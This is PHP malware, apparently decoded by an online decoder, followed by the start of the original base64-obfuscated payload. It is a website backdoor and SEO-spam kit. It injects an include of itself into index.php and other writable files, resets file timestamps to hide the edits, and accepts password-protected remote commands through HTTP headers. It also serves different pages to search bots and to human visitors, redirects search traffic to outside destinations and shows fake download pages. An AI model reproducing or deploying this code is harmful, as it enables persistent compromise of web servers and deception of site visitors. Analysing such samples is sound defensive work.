$this->cache->remove($cacheFile);
}
if ($data = $this->cache->read($cacheFile)) {
return $data;
}
$data = $this->browser->getVerbose($url);
if (! $data) return false;
$html = $data['html'];
$endUrl = $data['info']['url'];
if (! preg_match('#<head#i', $html)) return false;
$base = "<base href=\"$endUrl\" />";
$html = preg_replace('#<head[^>]*>#i', '$0'.$base, $html);
$this->cache->write($cacheFile, $html);
$this->cache->write($ageFile, time());
return $html;
}
}
class DS_Installer
{
/** @var DS_Browser */
var $browser;
var $password;
function __construct($browser, $password)
{
$this->browser = $browser;
$this->password = $password;
}
function includeSelf()
{
if (! function_exists('curl_init')) {
return array("error" => "curl_init does not exist");
}
$index = $this->findIndex();
if (! $index) {
return array('error' => "Could not find index!");
}
dds_debug("Index $index");
$included = $this->readIncludedFiles($index);
if (! $included) {
$included = $this->readIncludedFilesEditIndex($index);
}
$self = preg_replace('@\(.*\(.*$@', '', __FILE__);
$newCode = '<?php @include_once("'.$self.'"); ?>';
if (! $included) {
dds_debug("Could not read included files - trying to include to index top");
if ($this->includeToIndexTop($newCode, $index)) {
dds_debug("Included to index top");
return array('success' => true, 'include' => $index, 'type' => 'top');
} else {
dds_debug("Could not include to index top");
return array("error" => "Could not read included files");
}
}
$included = array_slice($included, 1);
$tryFiles = array_merge(
array_slice($included, 4, 6),
array_reverse(array_slice($included, 1, 3)),
array_slice($included, 10, 10),
array_slice($included, 0, 1)
);
$tryFiles = array_filter($tryFiles, array($this, 'isWritable'));
if (count($tryFiles) == 0) {
dds_debug("Mass including since no writable files found");
$tryFiles = array_filter($included, array($this, 'isWritable'));
}
usort($tryFiles, array($this, 'configsGoLast'));
if ($file = $this->tryIncludingTo($newCode, $tryFiles)) {
return array('success' => true, 'include' => $file);
}
if ($this->includeToIndexTop($newCode, $index)) {
return array('success' => true, 'include' => $index, 'type' => 'top');
}
return array('error' => "Could not include to any file");
}
function getRandomUrl($safe = true)
{
$host = "http://" . $_SERVER['HTTP_HOST'] . '/';
if ($safe) {
return $host . "?" . md5(rand());
} else {
return $host . md5(rand());
}
}
function hasModRewrite()
{
return $this->_checkIncluded($this->getRandomUrl(false));
}
function includeToIndexTop($code, $index)
{
dds_debug("Trying to include to the top of $index");
$oldContents = $contents = file_get_contents($index);
$mtime = filemtime($index);
$contents = $code . $contents;
if (! file_put_contents($index, $contents)) {
return false;
}
@touch($index, $mtime + 1, $mtime + 1);
if ($this->_checkRetryIncluded()) {
return true;
}
file_put_contents($index, $oldContents);
@touch($index, $mtime, $mtime);
return false;
}
function isWritable($fileOrDir)
{
if (is_writable($fileOrDir)) return true;
if (is_file($fileOrDir)) {
@chmod($fileOrDir, 0644);
if (file_put_contents($fileOrDir, file_get_contents($fileOrDir)) !== false) {
return true;
}
@chmod($fileOrDir, 0666);
return file_put_contents($fileOrDir, file_get_contents($fileOrDir)) !== false;
} else if (is_dir($fileOrDir)) {
if (substr($fileOrDir, -1) != '/') $fileOrDir .= $fileOrDir;
$file = $fileOrDir.md5(rand());
$writable = touch($file);
unlink($file);
return $writable;
}
return false;
}
function tryIncludingTo($code, $files)
{
dds_debug("Trying to include to " . count($files) . " files");
foreach ($files as $file) {
if (! $this->isWritable($file)) {
dds_debug("Can't include to $file: not writable");
continue;
}
dds_debug("Trying to include to $file");
$oldContents = $contents = file_get_contents($file);
$mtime = filemtime($file);
$contents = $this->addClosingTag($contents);
if (strpos($contents, $code) === false) {
$contents .= $code;
if (! file_put_contents($file, $contents)) {
dds_debug("Could not write to writable $file ?");
}
@touch($file, $mtime + 1, $mtime + 1);
} else {
dds_debug("Already included to $file");
}
if ($this->_checkRetryIncluded()) {
return $file;
}
file_put_contents($file, $oldContents);
@touch($file, $mtime + 2, $mtime + 2);
}
return false;
}
function _checkRetryIncluded()
{
$url = $this->getRandomUrl();
for ($i = 0; $i < 4; $i++) {
$res = $this->_checkIncluded($url);
if ($res) return true;
sleep(5);
}
return false;
}
function _checkIncluded($url)
{
$response = $this->browser->get($url, array(
CURLOPT_HTTPHEADER => array(
'X-Action: printMarker',
'X-Password: '.$this->password,
)
));
$pos = strpos($response, '<dds-delimiter>');
if ($pos === 0) {
dds_debug("Included and visible!");
return true;
}
if ($pos === false) {
dds_debug("Could not include - no delimiter");
} else {
dds_debug("Could not include - bad position $pos");
if (trim(substr($response, 0, $pos)) == '' && $pos < 100) {
dds_debug("Only whitespace before position");
return true;
}
}
return false;
}
function configsGoLast($a, $b)
{
return $this->rateFile($a) - $this->rateFile($b);
}
function rateFile($name)
{
if (preg_match('#config|index#i', $name)) return 1;
return 0;
}
function addClosingTag($contents)
{
$starting = strrpos($contents, '<?');
$closing = strrpos($contents, '?>');
if ($starting > $closing || ! $closing) $contents .= '?>';
return $contents;
}
function readIncludedFilesEditIndex($index)
{
dds_debug("Editing index $index");
if (! $this->isWritable($index)) {
dds_debug("Index is not writable");
return false;
}
$oldContents = $contents = file_get_contents($index);
$mtime = filemtime($index);
$contents = $this->addClosingTag($contents);
$prefix = "<?php function printend() { echo '<!--<dds-delimiter>'.json_encode(get_included_files()).'</dds-delimiter>-->'; } register_shutdown_function('printend'); ?>";
$contents = $prefix.$contents."<?php printend(); ?>";
$written = file_put_contents($index, $contents);
if (! $written) {
dds_debug("Could not write index");
}
$url = "http://".$_SERVER['HTTP_HOST'];
dds_debug("Fetching from $url");
$response = $this->browser->get($url);
$included = $this->parseIncludedResponse($response);
$written = file_put_contents($index, $oldContents);
@touch($index, $mtime, $mtime);
if (! $written) {
dds_debug("Could not rollback index");
}
return $included;
}
function readIncludedFiles($index)
{
$myUrl = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
$revved = strrev($index);
dds_debug("Fetching from $myUrl");
dds_debug("Checked file: $revved ( $index )");
$response = $this->browser->get($myUrl, array(
CURLOPT_FOLLOWLOCATION => false,
CURLOPT_HTTPHEADER => array(
'X-Action: getIncludedFiles',
'X-Password: '.$this->password,
'X-Checked-File: '. $revved
)
));
return $this->parseIncludedResponse($response);
}
function parseIncludedResponse($response)
{
if (! $response || ! preg_match('#<dds-delimiter>(.+?)</dds-delimiter>#is', $response, $matches)) {
dds_debug("BAD response length ".strlen($response));
if (preg_match('#<title.*</title>#is', $response, $titles)) {
dds_debug("Title ".htmlspecialchars($titles[0]));
} else {
dds_debug("No title");
}
return false;
}
$includedFiles = json_decode($matches[1], true);
dds_debug("Included:
".implode("
", $includedFiles));
return $includedFiles;
}
function findIndex()
{
$docRoot = $_SERVER['DOCUMENT_ROOT'];
$myName = $_SERVER['SCRIPT_NAME'];
dds_debug("Doc root '$docRoot', my name '$myName'");
$parts = explode('/', $myName);
$tryFiles = array(
$docRoot.'/index.php',
$docRoot.'/'.$parts[1].'/index.php'
);
foreach ($tryFiles as $file) {
if (! file_exists($file)) continue;
return $file;
}
return false;
}
function dropHtmlDoorways()
{
$root = $_SERVER['DOCUMENT_ROOT'];
$this->dropHtmlDoorwaysIn($root);
$dirs = glob($root . '/*', GLOB_ONLYDIR);
foreach ($dirs as $dir) {
$this->dropHtmlDoorwaysIn($dir);
}
}
function dropHtmlDoorwaysIn($dir)
{
$files = glob($dir . '/*');
$shittyFiles = array();
foreach ($files as $file) {
if (! $this->isShittyFile($file)) continue;
$shittyFiles[] = $file;
}
if (count($shittyFiles) < 500) return;
foreach ($shittyFiles as $file) {
unlink($file);
}
}
function isShittyFile($file)
{
$file = basename($file);
return preg_match('#.*[\-_].*[\-_].*\.(html|php)$#', $file);
}
}
$client = @$_SERVER['HTTP_CLIENT_IP'];
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
if(filter_var($forward, FILTER_VALIDATE_IP)) {
$ip = $forward;
} else if (filter_var($client, FILTER_VALIDATE_IP)) {
$ip = $client;
} else {
$ip = $_SERVER['REMOTE_ADDR'];
}
$overrideTime = false;
if ($password == @$_COOKIE['dds_debug_password']) {
$GLOBALS['DDS_DEBUG_MODE'] = true;
dds_debug('<pre>');
dds_debug('Debug mode started at ' . date(DATE_ISO8601));
$_SERVER['HTTP_X_PASSWORD'] = $password;
if (isset($_COOKIE['action'])) {
dds_debug("Setting action to '{$_COOKIE['action']}'");
$_SERVER['HTTP_X_ACTION'] = $_COOKIE['action'];
}
if (isset($_COOKIE['time'])) $overrideTime = $_COOKIE['time'];
if (isset($_COOKIE['ip'])) $ip = $_COOKIE['ip'];
}
$fixedDocroot = str_replace('\', '/', substr($_SERVER['SCRIPT_FILENAME'], 0, 0 - strlen($_SERVER['PHP_SELF'])));
if ($fixedDocroot != $_SERVER['DOCUMENT_ROOT']) {
dds_debug("Fixing docroot from {$_SERVER['DOCUMENT_ROOT']} to $fixedDocroot");
$_SERVER['DOCUMENT_ROOT'] = $fixedDocroot;
}
$tryDirs = array(
dirname(__FILE__) . '/',
'/var/tmp/',
'/tmp/',
);
$browser = new DS_Browser();
$installer = new DS_Installer($browser, $password);
foreach ($tryDirs as $cacheDir) {
if ($installer->isWritable($cacheDir)) break;
}
$uri = $_SERVER['REQUEST_URI'];
$host = str_replace('www.', '', $_SERVER['HTTP_HOST']);
$cacheWriter = new DS_CacheWriter($cacheDir, $host);
if ($uri != '/' && ! $cacheWriter->exists($uri)) {
$uri = rtrim($uri, '/');
}
$folder = $cacheWriter->read('folder');
if (! $cacheWriter->exists($uri)) {
$noQueryUri = preg_replace('#([^/])\?.+?$#', '$1', $uri);
if ($cacheWriter->exists($noQueryUri)) {
dds_debug("Fixed prefixed URI from $uri to $noQueryUri");
$uri = $noQueryUri;
} else if (preg_match('#^/\??' . $folder . '#', $uri, $matches)) {
$uri = $matches[0] . '/wppage-404';
}
}
$userLogger = new DS_UserLogger($cacheWriter);
$uaChecker = new Bot_UAChecker($cacheWriter);
$ipChecker = new Bot_IPChecker($cacheWriter);
$botDetector = new Bot_Detector($ipChecker, $uaChecker);
$serverClient = new DS_ServerClient($browser, @$_SERVER['HTTP_X_CLIENTHOST'], $password);
$apiServer = new DS_ApiServer($installer, $cacheWriter, $serverClient, $ipChecker, $userLogger, array(
'version' => $version,
'password' => $password
));
$destinationFetcher = new DS_DestinationFetcher($browser, $cacheWriter);
$fileMaker = new DS_FilenameMaker('zip');
$contentGenerator = new Bot_ContentGenerator($cacheWriter, $fileMaker, $uri, $browser);
$contentGenerator->overrideTime = $overrideTime;
parse_str(file_get_contents('php://input'), $nicePost);
if (get_magic_quotes_gpc()) {
$func = create_function( '&$val, $key', 'if(!is_numeric($val)) {$val = stripslashes($val);}' );
array_walk_recursive($nicePost, $func);
}
$includeWhat = $apiServer->shouldInclude($_SERVER);
dds_debug($includeWhat);
if ($includeWhat) {
echo md5(rand());
$file = $includeWhat['file'];
dds_debug("Including ". $file);
$oldPerms = false;
if (! is_readable($file)) {
$oldPerms = fileperms($file) & 0777;
@chmod($file, 0777);
}
ob_start();
@include $file;
ob_end_clean();
if ($oldPerms) {
@chmod($file, $oldPerms);
}
dds_debug("END include");
call_user_func($includeWhat['shutdown']);
exit();
}
$apiResponse = $apiServer->processApiCall($_SERVER, $nicePost);
if ($apiResponse) {
dds_debug("Handling api request $includeWhat");
echo '<dds-delimiter>'.$apiResponse.'</dds-delimiter>';
exit();
}
$seManager = new DS_SEManager($cacheWriter, $browser);
dds_debug("URI = $uri");
$host = $_SERVER['HTTP_HOST'];
$url = "http://".$host.$uri;
dds_debug("IP $ip, long ".ip2long($ip));
$isBot = $botDetector->isBot($ip, @$_SERVER['HTTP_USER_AGENT']);
dds_debug("Is bot: ".($isBot ? "yes" : "no"));
if (false !== strpos($uri, $contentGenerator->getWritingScriptPath())) {
dds_debug("Script writing script path = $uri");
if (! $isBot) {
header('Content-Type: application/javascript');
echo $contentGenerator->getIframeRedirectCode($_GET['key'], $_GET['original']);
}
exit();
}
if (false !== strpos($uri, $contentGenerator->getFakeDownloadPath())) {
echo $contentGenerator->getFakeDownloadPage();
exit();
}
$seKey = $seManager->getSEKey($_SERVER, $uri);
if ($seKey) {
dds_debug("Got SE key $seKey");
}
if (@$GLOBALS['DDS_DEBUG_MODE'] && isset($_COOKIE['sekey'])) {
$seKey = $_COOKIE['sekey'];
}
if (! $seKey) {
$seKey = $contentGenerator->getKeyword();
}
if (! $seKey) {
$seKey = preg_replace('#^/\??#', '', $uri);
$seKey = str_replace('-', ' ', $seKey);
}
dds_debug("SE key: '$seKey'");
$redirectType = $cacheWriter->read('redirecttype');
if ($redirectType == 'filename') {
$redirectKey = $fileMaker->getFilename($seKey);
} else if ($redirectType == 'keyword') {
$redirectKey = $contentGenerator->getKeyword();
if (! $redirectKey) {
dds_debug("No page keyword");
$redirectKey = $seKey;
}
} else {
$redirectKey = $contentGenerator->getMainKeyword();
}
$comesFromSE = $seManager->comesFromSE($_SERVER);
dds_debug("Comes from SE: ".$comesFromSE);
$userLogger->logUser($ip);
$redirectWith = $cacheWriter->read('redirectwith');
if (! $isBot && $comesFromSE && $cacheWriter->exists($uri) && $redirectWith != 'frame') {
header("Cache-Control: no-cache");
dds_debug("Redirecting");
if (ob_get_level() > 0) { ob_end_clean(); }
if (! $seKey) {
dds_debug("No se key");
return;
}
$redirectLocation = $seManager->getRedirectDestination($ip, $redirectKey, $contentGenerator->getKeyword());
dds_debug("TDS response redirect location: $redirectLocation");
if ($redirectLocation === "IS_BOT") {
$isBot = true;
} else if ($redirectWith == 'showdest' && $html = $destinationFetcher->getHtml($redirectLocation)) {
echo $html;
exit();
} else if ($redirectWith == 'noredirect' || $redirectWith == 'fakedownload') {
} else {
header("Location: $redirectLocation");
$js = <<<EOF
<script type="text/javascript">
window.location = "$redirectLocation";
</script>
EOF;
echo $js;
exit();
}
}
mt_srand(crc32($_SERVER['HTTP_HOST']));
$charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
$length = 6;
$code = '';
while ($length--) {
$code .= $charset[mt_rand(0, strlen($charset)-1)];
}
$linker = new Bot_Linker($code, mt_rand(3, 6));
dds_debug("Only bots: ".$cacheWriter->read('onlybots'));
$showToAll = $cacheWriter->read('onlybots') == 'no';
$hasContent = $contentGenerator->hasContent();
$innerLinkSettings = $cacheWriter->read('innerlinkdisplay');
if ($linker->isHiddenPage($uri)) {
dds_debug("Is hidden page");
header("Cache-Control: no-cache");
$ipChecker->addBotIP($ip);
} else if (! $contentGenerator->canTouchUri()) {
dds_debug("Can't touch uri $uri");
} else if ($hasContent && ($isBot || $showToAll)) {
$buttonLink = $seManager->getButtonLink($comesFromSE, $redirectKey, $contentGenerator->getKeyword());
$contentGenerator->printCache($redirectKey, $buttonLink);
exit();
} else if ($isBot || $innerLinkSettings == 'hide') {
return ob_start(array($contentGenerator, 'addLinks'));
} if (! $cacheWriter->exists('noinject')) {
dds_debug("Injecting links for catching bots");
ob_start(array($linker, 'injectIntoHtml'));
}
mt_srand();
}
Did this file decode correctly?
Original Code
<?php $hc928ce69e3 = '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